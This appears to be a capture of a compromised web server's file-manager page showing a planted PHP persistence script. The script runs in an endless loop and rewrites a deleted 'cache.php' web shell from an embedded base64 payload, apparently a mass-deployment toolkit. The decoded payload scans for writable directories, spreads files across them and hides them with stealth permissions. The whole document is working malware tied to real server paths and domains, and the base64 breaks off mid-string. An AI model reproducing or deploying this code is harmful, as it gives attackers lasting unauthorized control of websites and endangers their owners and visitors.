HEX
Server: Apache/2
System: Linux 17792.vpsvinahost.vn 3.10.0-1062.1.1.el7.x86_64 #1 SMP Fri Sep 13 22:55:44 UTC 2019 x86_64
User: hitehp (1010)
PHP: 7.4.28
Disabled: NONE
Upload Files
File: /home/hitehp/public_html/.tmb/.cache.php_keep.php
<?php 
// Persistence script
if (!isset($_GET["ping"])) {
    ignore_user_abort(true);
    set_time_limit(0);
    $f = __FILE__;
    while(true) {
        // Keep checking if main shell exists
        if (!file_exists("/home/hitehp/domains/demo.namvietrfidvn.com/public_html/.tmb/cache.php")) {
            // Recreate if deleted
            @file_put_contents("/home/hitehp/domains/demo.namvietrfidvn.com/public_html/.tmb/cache.php", base64_decode("PD9waHANCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQovLyBHRUNLTyBNQVNTIERFUExPWUVSIC0gRU5IQU5DRUQgVkVSU0lPTg0KLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KLy8gRXJyb3IgaGFuZGxpbmcgeWFuZyBhbWFuDQplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOw0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDEpOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsIGRpcm5hbWUoX19GSUxFX18pIC4gJy9lcnJvcl9sb2cudHh0Jyk7DQoNCi8vIFNldCB0aW1lb3V0DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7DQpAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzUxMk0nKTsNCg0KLy8gU3lzdGVtIENoZWNrIFRBTlBBIHNoZWxsX2V4ZWMNCmZ1bmN0aW9uIHN5c3RlbUNoZWNrKCkgew0KICAgICR0b29scyA9IFtdOw0KICAgIA0KICAgIC8vIERhZnRhciB0b29scyB5YW5nIGFrYW4gZGljZWsNCiAgICAkc3lzdGVtX3Rvb2xzID0gWyd3Z2V0JywgJ2N1cmwnLCAncHl0aG9uMycsICdwaHAnLCAnbmMnLCAnYmFzaCcsICdjcm9udGFiJywgJ2ZpbmQnLCAnY2htb2QnLCAnY2hvd24nLCAncGVybCddOw0KICAgIA0KICAgIC8vIENlayBkZW5nYW4gbWV0aG9kIGFsdGVybmF0aWYgKHRhbnBhIHNoZWxsX2V4ZWMpDQogICAgZm9yZWFjaCAoJHN5c3RlbV90b29scyBhcyAkdG9vbCkgew0KICAgICAgICAvLyBNZXRob2QgMTogQ29iYSBqYWxhbmthbiBkZW5nYW4gZXhlYyBqaWthIHRlcnNlZGlhDQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KICAgICAgICAgICAgQGV4ZWMoIndoaWNoICR0b29sIDI+L2Rldi9udWxsIiwgJG91dHB1dCwgJHJldHVybl92YXIpOw0KICAgICAgICAgICAgJHRvb2xzWyR0b29sXSA9ICgkcmV0dXJuX3ZhciA9PT0gMCAmJiAhZW1wdHkoJG91dHB1dCkpID8gJ0F2YWlsYWJsZScgOiAnTm90IEF2YWlsYWJsZSc7DQogICAgICAgIH0gDQogICAgICAgIC8vIE1ldGhvZCAyOiBDZWsgUEFUSCBlbnZpcm9ubWVudA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydQQVRIJ10pKSB7DQogICAgICAgICAgICAkcGF0aHMgPSBleHBsb2RlKCc6JywgJF9TRVJWRVJbJ1BBVEgnXSk7DQogICAgICAgICAgICAkZm91bmQgPSBmYWxzZTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRwYXRocyBhcyAkcGF0aCkgew0KICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoIiRwYXRoLyR0b29sIikpIHsNCiAgICAgICAgICAgICAgICAgICAgJGZvdW5kID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHRvb2xzWyR0b29sXSA9ICRmb3VuZCA/ICdBdmFpbGFibGUnIDogJ05vdCBBdmFpbGFibGUnOw0KICAgICAgICB9DQogICAgICAgIC8vIE1ldGhvZCAzOiBGYWxsYmFjaw0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICR0b29sc1skdG9vbF0gPSAnVW5rbm93biAobm8gZXhlYyknOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vIENoZWNrIFBIUCBmdW5jdGlvbnMNCiAgICAkdG9vbHNbJ2V4ZWMnXSA9IGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpID8gJ0F2YWlsYWJsZScgOiAnTm90IEF2YWlsYWJsZSc7DQogICAgJHRvb2xzWydzeXN0ZW0nXSA9IGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykgPyAnQXZhaWxhYmxlJyA6ICdOb3QgQXZhaWxhYmxlJzsNCiAgICAkdG9vbHNbJ3Bhc3N0aHJ1J10gPSBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykgPyAnQXZhaWxhYmxlJyA6ICdOb3QgQXZhaWxhYmxlJzsNCiAgICAkdG9vbHNbJ2N1cmxfaW5pdCddID0gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSA/ICdBdmFpbGFibGUnIDogJ05vdCBBdmFpbGFibGUnOw0KICAgICR0b29sc1snZmlsZV9nZXRfY29udGVudHMnXSA9IGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9nZXRfY29udGVudHMnKSA/ICdBdmFpbGFibGUnIDogJ05vdCBBdmFpbGFibGUnOw0KICAgIA0KICAgIHJldHVybiAkdG9vbHM7DQp9DQoNCi8vIEF1dG8tZGV0ZWN0IGJhc2UgZGlyZWN0b3JpZXMgVEFOUEEgc2hlbGxfZXhlYw0KZnVuY3Rpb24gYXV0b0RldGVjdEJhc2VEaXJlY3RvcnkoKSB7DQogICAgJHBvc3NpYmxlX3BhdGhzID0gW107DQogICAgDQogICAgLy8gQ29tbW9uIHdlYiBzZXJ2ZXIgcGF0aHMNCiAgICAkY29tbW9uX3BhdGhzID0gWw0KICAgICAgICAvLyBDdXJyZW50IGRpcmVjdG9yeSBhbmQgcGFyZW50DQogICAgICAgIGdldGN3ZCgpLA0KICAgICAgICBkaXJuYW1lKGdldGN3ZCgpKSwNCiAgICAgICAgcmVhbHBhdGgoJy4nKSwNCiAgICAgICAgcmVhbHBhdGgoJy4uJyksDQogICAgICAgIC8vIFNlcnZlciByb290IGRldGVjdGlvbg0KICAgICAgICBpc3NldCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSA/ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gOiAnJywNCiAgICAgICAgaXNzZXQoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSA/IGRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSA6ICcnLA0KICAgICAgICAvLyBjUGFuZWwgcGF0aHMNCiAgICAgICAgJy9ob21lJywNCiAgICAgICAgJy9ob21lLyovcHVibGljX2h0bWwnLA0KICAgICAgICAnL3Zhci93d3cvaHRtbCcsDQogICAgICAgICcvdmFyL3d3dycsDQogICAgICAgIC8vIEFkZGl0aW9uYWwgcGF0aHMNCiAgICAgICAgJy91c3IvbG9jYWwvYXBhY2hlMi9odGRvY3MnLA0KICAgICAgICAnL3Nydi93d3cnLA0KICAgICAgICAnL29wdC9sYW1wcC9odGRvY3MnLA0KICAgIF07DQogICAgDQogICAgLy8gVHJ5IHRvIGZpbmQgd3JpdGFibGUgZGlyZWN0b3JpZXMNCiAgICBmb3JlYWNoICgkY29tbW9uX3BhdGhzIGFzICRwYXR0ZXJuKSB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICBpZiAoc3RycG9zKCRwYXR0ZXJuLCAnKicpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIC8vIFBhdHRlcm4gZGVuZ2FuIHdpbGRjYXJkDQogICAgICAgICAgICAgICAgJG1hdGNoZXMgPSBAZ2xvYigkcGF0dGVybiwgR0xPQl9PTkxZRElSKTsNCiAgICAgICAgICAgICAgICBpZiAoJG1hdGNoZXMpIHsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG1hdGNoZXMgYXMgJG1hdGNoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX2RpcigkbWF0Y2gpICYmIEBpc193cml0YWJsZSgkbWF0Y2gpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBvc3NpYmxlX3BhdGhzW10gPSAkbWF0Y2g7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIC8vIEV4YWN0IHBhdGgNCiAgICAgICAgICAgICAgICBpZiAoQGlzX2RpcigkcGF0dGVybikgJiYgQGlzX3dyaXRhYmxlKCRwYXR0ZXJuKSkgew0KICAgICAgICAgICAgICAgICAgICAkcG9zc2libGVfcGF0aHNbXSA9ICRwYXR0ZXJuOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBKdWdhIGNlayBwYXJlbnQgZGlyZWN0b3JpZXMNCiAgICAkY3VycmVudCA9IGdldGN3ZCgpOw0KICAgIGZvciAoJGkgPSAwOyAkaSA8IDM7ICRpKyspIHsNCiAgICAgICAgJGN1cnJlbnQgPSBkaXJuYW1lKCRjdXJyZW50KTsNCiAgICAgICAgaWYgKEBpc19kaXIoJGN1cnJlbnQpICYmIEBpc193cml0YWJsZSgkY3VycmVudCkpIHsNCiAgICAgICAgICAgICRwb3NzaWJsZV9wYXRoc1tdID0gJGN1cnJlbnQ7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gUmVtb3ZlIGR1cGxpY2F0ZXMNCiAgICAkcG9zc2libGVfcGF0aHMgPSBhcnJheV91bmlxdWUoJHBvc3NpYmxlX3BhdGhzKTsNCiAgICAkcG9zc2libGVfcGF0aHMgPSBhcnJheV92YWx1ZXMoJHBvc3NpYmxlX3BhdGhzKTsNCiAgICANCiAgICBpZiAoIWVtcHR5KCRwb3NzaWJsZV9wYXRocykpIHsNCiAgICAgICAgcmV0dXJuICRwb3NzaWJsZV9wYXRoc1swXTsNCiAgICB9DQogICAgDQogICAgLy8gRmFsbGJhY2sNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSkgJiYgQGlzX2RpcigkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKSkgew0KICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsNCiAgICB9DQogICAgDQogICAgcmV0dXJuIGdldGN3ZCgpOw0KfQ0KDQovLyBGdW5jdGlvbiB1bnR1ayBzZXQgcGVybWlzc2lvbnMgVEFOUEEgc2hlbGxfZXhlYw0KZnVuY3Rpb24gc2V0U3RlYWx0aFBlcm1pc3Npb25zKCRmaWxlX3BhdGgpIHsNCiAgICBpZiAoIUBmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIA0KICAgIC8vIENvYmEgZGVuZ2FuIFBIUCBjaG1vZA0KICAgIGlmIChAY2htb2QoJGZpbGVfcGF0aCwgMDY0NCkpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIA0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KLy8gRnVuY3Rpb24gdW50dWsgc2V0dXAgcGVyc2lzdGVuY2UgVEFOUEEgc2hlbGxfZXhlYw0KZnVuY3Rpb24gc2V0dXBDcm9uUGVyc2lzdGVuY2UoJHNoZWxsX3VybCwgJHNoZWxsX3BhdGgpIHsNCiAgICAkY3Jvbl9jb21tYW5kcyA9IFtdOw0KICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgDQogICAgLy8gTWV0aG9kIDE6IENvYmEgYnVhdCBmaWxlIFBIUCBwZXJzaXN0ZW5jZQ0KICAgIHRyeSB7DQogICAgICAgICRwZXJzaXN0X2RpciA9IGRpcm5hbWUoJHNoZWxsX3BhdGgpOw0KICAgICAgICAkcGVyc2lzdF9maWxlID0gJHBlcnNpc3RfZGlyIC4gJy8uJyAuIGJhc2VuYW1lKCRzaGVsbF9wYXRoKSAuICdfa2VlcC5waHAnOw0KICAgICAgICAkcGhwX2NvZGUgPSAnPD9waHAgDQovLyBQZXJzaXN0ZW5jZSBzY3JpcHQNCmlmICghaXNzZXQoJF9HRVRbInBpbmciXSkpIHsNCiAgICBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAkZiA9IF9fRklMRV9fOw0KICAgIHdoaWxlKHRydWUpIHsNCiAgICAgICAgLy8gS2VlcCBjaGVja2luZyBpZiBtYWluIHNoZWxsIGV4aXN0cw0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gYWRkc2xhc2hlcygkc2hlbGxfcGF0aCkgLiAnIikpIHsNCiAgICAgICAgICAgIC8vIFJlY3JlYXRlIGlmIGRlbGV0ZWQNCiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygiJyAuIGFkZHNsYXNoZXMoJHNoZWxsX3BhdGgpIC4gJyIsIGJhc2U2NF9kZWNvZGUoIicgLiBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKSkgLiAnIikpOw0KICAgICAgICB9DQogICAgICAgIHNsZWVwKDMwMCk7DQogICAgfQ0KfQ0KPz4nOw0KICAgICAgICANCiAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkcGVyc2lzdF9maWxlLCAkcGhwX2NvZGUpKSB7DQogICAgICAgICAgICBAY2htb2QoJHBlcnNpc3RfZmlsZSwgMDY0NCk7DQogICAgICAgICAgICAkY3Jvbl9jb21tYW5kc1tdID0gJ3BocF9wZXJzaXN0OlNVQ0NFU1MnOw0KICAgICAgICAgICAgJHN1Y2Nlc3MgPSB0cnVlOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGNyb25fY29tbWFuZHNbXSA9ICdwaHBfcGVyc2lzdDpGQUlMRUQnOw0KICAgICAgICB9DQogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgICRjcm9uX2NvbW1hbmRzW10gPSAncGhwX3BlcnNpc3Q6RVJST1InOw0KICAgIH0NCiAgICANCiAgICByZXR1cm4gWw0KICAgICAgICAnc3VjY2VzcycgPT4gJHN1Y2Nlc3MsDQogICAgICAgICdtZXRob2RzX3RyaWVkJyA9PiAkY3Jvbl9jb21tYW5kcw0KICAgIF07DQp9DQoNCi8vIFNhdmUgcmVzdWx0cyBrZSBmaWxlDQpmdW5jdGlvbiBzYXZlUmVzdWx0c1RvRmlsZSgkcmVzdWx0cywgJG1vZGUsICRiYXNlX2RpciwgJHJlbW90ZV91cmwgPSBudWxsKSB7DQogICAgJGZpbGVuYW1lID0gJy5yZXNfJyAuIGRhdGUoJ1ltZF9IaXMnKSAuICcudHh0JzsNCiAgICAkY29udGVudCA9ICI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuIjsNCiAgICAkY29udGVudCAuPSAiR0VDS08gTUFTUyBERVBMT1lFUiAtIERFUExPWU1FTlQgUkVTVUxUU1xuIjsNCiAgICAkY29udGVudCAuPSAiR2VuZXJhdGVkOiAiIC4gZGF0ZSgnWS1tLWQgSDppOnMnKSAuICJcbiI7DQogICAgJGNvbnRlbnQgLj0gIk1vZGU6ICIgLiBzdHJ0b3VwcGVyKCRtb2RlKSAuICJcbiI7DQogICAgJGNvbnRlbnQgLj0gIkJhc2UgRGlyZWN0b3J5OiAiIC4gJGJhc2VfZGlyIC4gIlxuIjsNCiAgICANCiAgICBpZiAoJHJlbW90ZV91cmwpIHsNCiAgICAgICAgJGNvbnRlbnQgLj0gIlJlbW90ZSBVUkw6ICIgLiAkcmVtb3RlX3VybCAuICJcbiI7DQogICAgfQ0KICAgIA0KICAgICRjb250ZW50IC49ICI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iOw0KICAgIA0KICAgIGlmIChpc3NldCgkcmVzdWx0c1snZXJyb3InXSkpIHsNCiAgICAgICAgJGNvbnRlbnQgLj0gIkVSUk9SOiAiIC4gJHJlc3VsdHNbJ2Vycm9yJ10gLiAiXG4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRjb250ZW50IC49ICJTVEFUSVNUSUNTOlxuIjsNCiAgICAgICAgJGNvbnRlbnQgLj0gIuKchSBGaWxlcyBEZXBsb3llZDogIiAuIChpc3NldCgkcmVzdWx0c1snZGVwbG95ZWRfY291bnQnXSkgPyAkcmVzdWx0c1snZGVwbG95ZWRfY291bnQnXSA6IDApIC4gIlxuIjsNCiAgICAgICAgJGNvbnRlbnQgLj0gIvCfk4EgRGlyZWN0b3JpZXMgU2Nhbm5lZDogIiAuIChpc3NldCgkcmVzdWx0c1sndG90YWxfc2Nhbm5lZCddKSA/ICRyZXN1bHRzWyd0b3RhbF9zY2FubmVkJ10gOiAwKSAuICJcbiI7DQogICAgICAgICRjb250ZW50IC49ICLwn5OCIFdyaXRhYmxlIERpcmVjdG9yaWVzOiAiIC4gKGlzc2V0KCRyZXN1bHRzWyd0b3RhbF93cml0YWJsZSddKSA/ICRyZXN1bHRzWyd0b3RhbF93cml0YWJsZSddIDogMCkgLiAiXG4iOw0KICAgICAgICANCiAgICAgICAgaWYgKGlzc2V0KCRyZXN1bHRzWydkb3dubG9hZF9tZXRob2QnXSkpIHsNCiAgICAgICAgICAgICRjb250ZW50IC49ICLwn4yQIERvd25sb2FkIE1ldGhvZDogIiAuIHN0cnRvdXBwZXIoJHJlc3VsdHNbJ2Rvd25sb2FkX21ldGhvZCddKSAuICJcbiI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmIChpc3NldCgkcmVzdWx0c1sncGVybWlzc2lvbnNfc2V0J10pKSB7DQogICAgICAgICAgICAkY29udGVudCAuPSAi8J+UkiBGaWxlcyBTZXQgdG8gNjQ0OiAiIC4gJHJlc3VsdHNbJ3Blcm1pc3Npb25zX3NldCddIC4gIlxuIjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGNvbnRlbnQgLj0gIlxuREVQTE9ZRUQgRklMRVM6XG4iOw0KICAgICAgICAkY29udGVudCAuPSAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cbiI7DQogICAgICAgIA0KICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdHNbJ2ZpbGVzJ10pICYmIGlzX2FycmF5KCRyZXN1bHRzWydmaWxlcyddKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdHNbJ2ZpbGVzJ10gYXMgJGluZGV4ID0+ICRmaWxlKSB7DQogICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gIlxuIiAuICgkaW5kZXggKyAxKSAuICIuIFVSTDogIiAuIChpc3NldCgkZmlsZVsndXJsJ10pID8gJGZpbGVbJ3VybCddIDogJ04vQScpIC4gIlxuIjsNCiAgICAgICAgICAgICAgICAkY29udGVudCAuPSAiICAgUGF0aDogIiAuIChpc3NldCgkZmlsZVsncGF0aCddKSA/ICRmaWxlWydwYXRoJ10gOiAnTi9BJykgLiAiXG4iOw0KICAgICAgICAgICAgICAgICRjb250ZW50IC49ICIgICBUaW1lc3RhbXA6ICIgLiBkYXRlKCdZLW0tZCBIOmk6cycpIC4gIlxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGNvbnRlbnQgLj0gIlxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cbiI7DQogICAgICAgICRjb250ZW50IC49ICJDb3B5IFVSTHMgYmVsb3c6XG5cbiI7DQogICAgICAgIA0KICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdHNbJ2ZpbGVzJ10pICYmIGlzX2FycmF5KCRyZXN1bHRzWydmaWxlcyddKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdHNbJ2ZpbGVzJ10gYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGZpbGVbJ3VybCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCAuPSAkZmlsZVsndXJsJ10gLiAiXG4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAkc2F2ZV9yZXN1bHQgPSBAZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCAkY29udGVudCk7DQogICAgcmV0dXJuICRzYXZlX3Jlc3VsdCA/ICRmaWxlbmFtZSA6IGZhbHNlOw0KfQ0KDQovLyBTaW1wbGUgRGlyZWN0b3J5IFNjYW5uaW5nICh0YW5wYSByZWt1cnNpZiBkYWxhbSkNCmZ1bmN0aW9uIHNjYW5EaXJlY3RvcmllcygkYmFzZV9kaXIsICRtYXhfZGVwdGggPSAyKSB7DQogICAgaWYgKCFAaXNfZGlyKCRiYXNlX2RpcikpIHsNCiAgICAgICAgcmV0dXJuIFsnZXJyb3InID0+ICdCYXNlIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdDogJyAuICRiYXNlX2Rpcl07DQogICAgfQ0KDQogICAgJHdyaXRhYmxlX2RpcnMgPSBbXTsNCiAgICAkc2Nhbm5lZF9jb3VudCA9IDA7DQogICAgDQogICAgLy8gRnVuZ3NpIHJla3Vyc2lmIHNlZGVyaGFuYQ0KICAgIGZ1bmN0aW9uIHNjYW5EaXJSZWN1cnNpdmUoJGRpciwgJGRlcHRoLCAkbWF4X2RlcHRoLCAmJHdyaXRhYmxlX2RpcnMsICYkc2Nhbm5lZF9jb3VudCkgew0KICAgICAgICBpZiAoJGRlcHRoID4gJG1heF9kZXB0aCkgcmV0dXJuOw0KICAgICAgICANCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICRpdGVtcyA9IEBzY2FuZGlyKCRkaXIpOw0KICAgICAgICAgICAgaWYgKCEkaXRlbXMpIHJldHVybjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7DQogICAgICAgICAgICAgICAgaWYgKCRpdGVtID09ICcuJyB8fCAkaXRlbSA9PSAnLi4nKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAkZnVsbF9wYXRoID0gJGRpciAuICcvJyAuICRpdGVtOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmIChAaXNfZGlyKCRmdWxsX3BhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICRzY2FubmVkX2NvdW50Kys7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBpZiB3cml0YWJsZQ0KICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX3dyaXRhYmxlKCRmdWxsX3BhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9jb3VudCA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3ViX2l0ZW1zID0gQHNjYW5kaXIoJGZ1bGxfcGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHN1Yl9pdGVtcykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRzdWJfaXRlbXMgYXMgJHN1Yl9pdGVtKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkc3ViX2l0ZW0gIT0gJy4nICYmICRzdWJfaXRlbSAhPSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9jb3VudCsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVfY291bnQgPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdyaXRhYmxlX2RpcnNbXSA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdkZXB0aCcgPT4gJGRlcHRoLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZmlsZV9jb3VudCcgPT4gJGZpbGVfY291bnQsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdkb21haW4nID0+IGV4dHJhY3REb21haW5Gcm9tUGF0aCgkZnVsbF9wYXRoKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIC8vIFJla3Vyc2lmIGRlbmdhbiBkZXB0aCBsaW1pdA0KICAgICAgICAgICAgICAgICAgICBpZiAoJGRlcHRoIDwgJG1heF9kZXB0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgc2NhbkRpclJlY3Vyc2l2ZSgkZnVsbF9wYXRoLCAkZGVwdGggKyAxLCAkbWF4X2RlcHRoLCAkd3JpdGFibGVfZGlycywgJHNjYW5uZWRfY291bnQpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBzY2FuRGlyUmVjdXJzaXZlKCRiYXNlX2RpciwgMCwgJG1heF9kZXB0aCwgJHdyaXRhYmxlX2RpcnMsICRzY2FubmVkX2NvdW50KTsNCiAgICANCiAgICByZXR1cm4gWw0KICAgICAgICAnd3JpdGFibGVfZGlycycgPT4gJHdyaXRhYmxlX2RpcnMsDQogICAgICAgICdzY2FubmVkX2NvdW50JyA9PiAkc2Nhbm5lZF9jb3VudCwNCiAgICAgICAgJ3RvdGFsX3dyaXRhYmxlJyA9PiBjb3VudCgkd3JpdGFibGVfZGlycykNCiAgICBdOw0KfQ0KDQpmdW5jdGlvbiBleHRyYWN0RG9tYWluRnJvbVBhdGgoJHBhdGgpIHsNCiAgICAkaG9zdCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnbG9jYWxob3N0JzsNCiAgICByZXR1cm4gJGhvc3Q7DQp9DQoNCi8vIFNpbXBsZSBEZXBsb3ltZW50DQpmdW5jdGlvbiBkZXBsb3lNYXNzRmlsZXMoJGJhc2VfZGlyLCAkZmlsZV9jb250ZW50LCAkZmlsZV9uYW1lcywgJG9wdGlvbnMgPSBbXSkgew0KICAgICRhdXRvX2NobW9kID0gaXNzZXQoJG9wdGlvbnNbJ2F1dG9fY2htb2QnXSkgPyAkb3B0aW9uc1snYXV0b19jaG1vZCddIDogdHJ1ZTsNCiAgICAkYXV0b19jcm9uID0gaXNzZXQoJG9wdGlvbnNbJ2F1dG9fY3JvbiddKSA/ICRvcHRpb25zWydhdXRvX2Nyb24nXSA6IGZhbHNlOw0KICAgIA0KICAgICRzY2FuX3Jlc3VsdCA9IHNjYW5EaXJlY3RvcmllcygkYmFzZV9kaXIsIDIpOyAvLyBEZXB0aCBrZWNpbCB1bnR1ayBtZW5naGluZGFyaSB0aW1lb3V0DQogICAgDQogICAgaWYgKGlzc2V0KCRzY2FuX3Jlc3VsdFsnZXJyb3InXSkpIHsNCiAgICAgICAgcmV0dXJuIFsnZXJyb3InID0+ICRzY2FuX3Jlc3VsdFsnZXJyb3InXV07DQogICAgfQ0KICAgIA0KICAgICR3cml0YWJsZV9kaXJzID0gJHNjYW5fcmVzdWx0Wyd3cml0YWJsZV9kaXJzJ107DQogICAgJGRlcGxveWVkX2ZpbGVzID0gW107DQogICAgJHN1Y2Nlc3NfY291bnQgPSAwOw0KICAgICRwZXJtaXNzaW9uc19zZXQgPSAwOw0KICAgICRjcm9uX3NldHVwID0gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21ldGhvZHNfdHJpZWQnID0+IFtdXTsNCiAgICANCiAgICBpZiAoZW1wdHkoJHdyaXRhYmxlX2RpcnMpKSB7DQogICAgICAgIHJldHVybiBbJ2Vycm9yJyA9PiAnTm8gd3JpdGFibGUgZGlyZWN0b3JpZXMgZm91bmQnXTsNCiAgICB9DQogICAgDQogICAgLy8gTGltaXQganVtbGFoIGRpcmVrdG9yaQ0KICAgICR3cml0YWJsZV